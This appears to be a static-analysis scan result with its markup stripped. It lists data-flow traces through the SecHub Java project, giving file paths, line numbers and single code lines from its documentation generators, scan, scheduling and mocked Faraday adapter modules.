+ return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 16 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 17 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 18 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 19 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 20 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 28 + 21 + initialDelayString + + 18 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 27 + 22 + isEmpty + + 1 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 16 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 17 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 18 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 19 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 20 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 27 + 21 + initialDelayString + + 18 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 26 + 22 + isEmpty + + 1 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 116 + 85 + 9 + fetchMustBeDocumentParts + + 1 + + + 116 + String text = propertiesGenerator.generate(getCollector().fetchMustBeDocumentParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 10 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 11 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 12 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 13 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 14 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 15 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 13 + 8 + add + + 1 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 9 + list + + 4 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 13 + 10 + add + + 1 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 11 + list + + 4 + + + 76 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 12 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 126 + 106 + 13 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 126 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 14 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 15 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 16 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 17 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 18 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 19 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 40 + 103 + 9 + fetchMustBeDocumentParts + + 1 + + + 40 + new KubernetesTemplateFilesGenerator().generate(files, new ClasspathDataCollector().fetchMustBeDocumentParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 43 + 71 + 10 + list + + 4 + + + 43 + public void generate(KubernetesFiles result, List<DocAnnotationData> list) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 44 + 23 + 11 + list + + 4 + + + 44 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 48 + 3 + 12 + list + + 4 + + + 48 + list.add(newSecret("spring.datasource.username", "database", "Define username for database access")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 49 + 3 + 13 + list + + 4 + + + 49 + list.add(newSecret("spring.datasource.password", "database", "The password for database access")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 52 + 38 + 14 + list + + 4 + + + 52 + generateDeploymentFilePart(result, list); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 86 + 90 + 15 + list + + 4 + + + 86 + private void generateDeploymentFilePart(KubernetesFiles result, List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 88 + 35 + 16 + data + + 4 + + + 88 + generateDeploymentCode(result, data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 111 + 80 + 17 + data + + 4 + + + 111 + private void generateDeploymentCode(KubernetesFiles result, DocAnnotationData data) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 28 + 18 + data + + 4 + + + 114 + String inspect = findKey(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 231 + 43 + 19 + data + + 4 + + + 231 + private String findKey(DocAnnotationData data) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 61 + 20 + springValue + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 21 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 22 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 14 + 23 + string + + 6 + + + 63 + value.key=string; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 9 + 24 + key + + 1 + + + 63 + value.key=string; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 64 + 11 + 25 + value + + 5 + + + 64 + return value; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 56 + 26 + extract + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 16 + 27 + extracted + + 9 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 12 + 28 + extracted + + 9 + + + 235 + return extracted.getKey(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 12 + 11 + 29 + key + + 3 + + + 12 + return key; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 28 + 30 + getKey + + 1 + + + 235 + return extracted.getKey(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 27 + 31 + findKey + + 1 + + + 114 + String inspect = findKey(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 10 + 32 + inspect + + 7 + + + 114 + String inspect = findKey(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 115 + 26 + 33 + inspect + + 7 + + + 115 + if (inspect == null || inspect.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 22 + 34 + inspect + + 7 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 37 + 35 + replace + + 1 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetResolverService.java + 20 + 47 + 1 + toLowerCase + + 1 + + + 20 + String hostNameLowercased = host.toLowerCase(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetResolverService.java + 20 + 10 + 2 + hostNameLowercased + + 18 + + + 20 + String hostNameLowercased = host.toLowerCase(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetResolverService.java + 21 + 7 + 3 + hostNameLowercased + + 18 + + + 21 + if (hostNameLowercased.endsWith("intranet.example.org")) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetResolverService.java + 21 + 34 + 4 + endsWith + + 1 + + + 21 + if (hostNameLowercased.endsWith("intranet.example.org")) { + + + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java + 40 + 34 + 1 + getSingleResult + + 1 + + + 40 + result = query.getSingleResult(); + + + + + + + + + sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupportTest.java + 26 + 29 + 1 + getSingleResult + + 1 + + + 26 + when(query.getSingleResult()).thenThrow(new NoResultException("does not exist")); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java + 39 + 29 + 1 + getResultList + + 1 + + + 39 + return query.getResultList(); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/AccessRepository.java + 15 + 45 + 1 + userId + + 8 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 16 + 76 + 1 + projectName + + 11 + + + 16 + public List<ProjectWhitelistEntry> fetchWhiteListEntriesForProject(String projectName); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 20 + 48 + 1 + projectName + + 11 + + + 20 + public void deleteAllEntriesForProject(String projectName); + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 176 + 27 + 1 + readLine + + 1 + + + 176 + while ((line=r.readLine())!=null) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 40 + 29 + 1 + readLine + + 1 + + + 40 + String line = br.readLine(); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 39 + 12 + 1 + write + + 1 + + + 39 + bw.write(text); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 63 + 40 + 1 + listFiles + + 1 + + + 63 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 72 + 44 + 1 + listFiles + + 1 + + + 72 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 35 + 1 + listFiles + + 1 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 1 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 1 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 31 + 51 + 1 + mkdirs + + 1 + + + 31 + if (! parentFile.exists() && !parentFile.mkdirs()) { + + + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 27 + 87 + 1 + ""./../sechub-other/demo/prepare/mockdata_faraday_green.json"" + + 60 + + + 27 + private static final String DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN = "./../sechub-other/demo/prepare/mockdata_faraday_green.json"; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 27 + 30 + 2 + DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN + + 54 + + + 27 + private static final String DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN = "./../sechub-other/demo/prepare/mockdata_faraday_green.json"; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 55 + 25 + 3 + DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN + + 54 + + + 55 + String greenFilePath = DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 55 + 9 + 4 + greenFilePath + + 13 + + + 55 + String greenFilePath = DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_GREEN; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 160 + 32 + 5 + greenFilePath + + 13 + + + 160 + greenData=readMockData(type,greenFilePath); + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 167 + 50 + 6 + filePath + + 8 + + + 167 + private String readMockData(String type, String filePath) { + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 169 + 24 + 7 + filePath + + 8 + + + 169 + File file = new File(filePath); + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 169 + 15 + 8 + File + + 3 + + + 169 + File file = new File(filePath); + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 26 + 91 + 1 + ""./../sechub-other/demo/prepare/mockdata_faraday_red.json"" + + 58 + + + 26 + private static final String DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT = "./../sechub-other/demo/prepare/mockdata_faraday_red.json"; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 26 + 30 + 2 + DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT + + 58 + + + 26 + private static final String DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT = "./../sechub-other/demo/prepare/mockdata_faraday_red.json"; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 49 + 28 + 3 + DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT + + 58 + + + 49 + String redAlertFilePath = DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT; + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 49 + 9 + 4 + redAlertFilePath + + 16 + + + 49 + String redAlertFilePath = DEFAULT_FILE_PATH_FOR_FARADAY_JSON_RESULT_HAVING_RED_ALERT; + + + + + 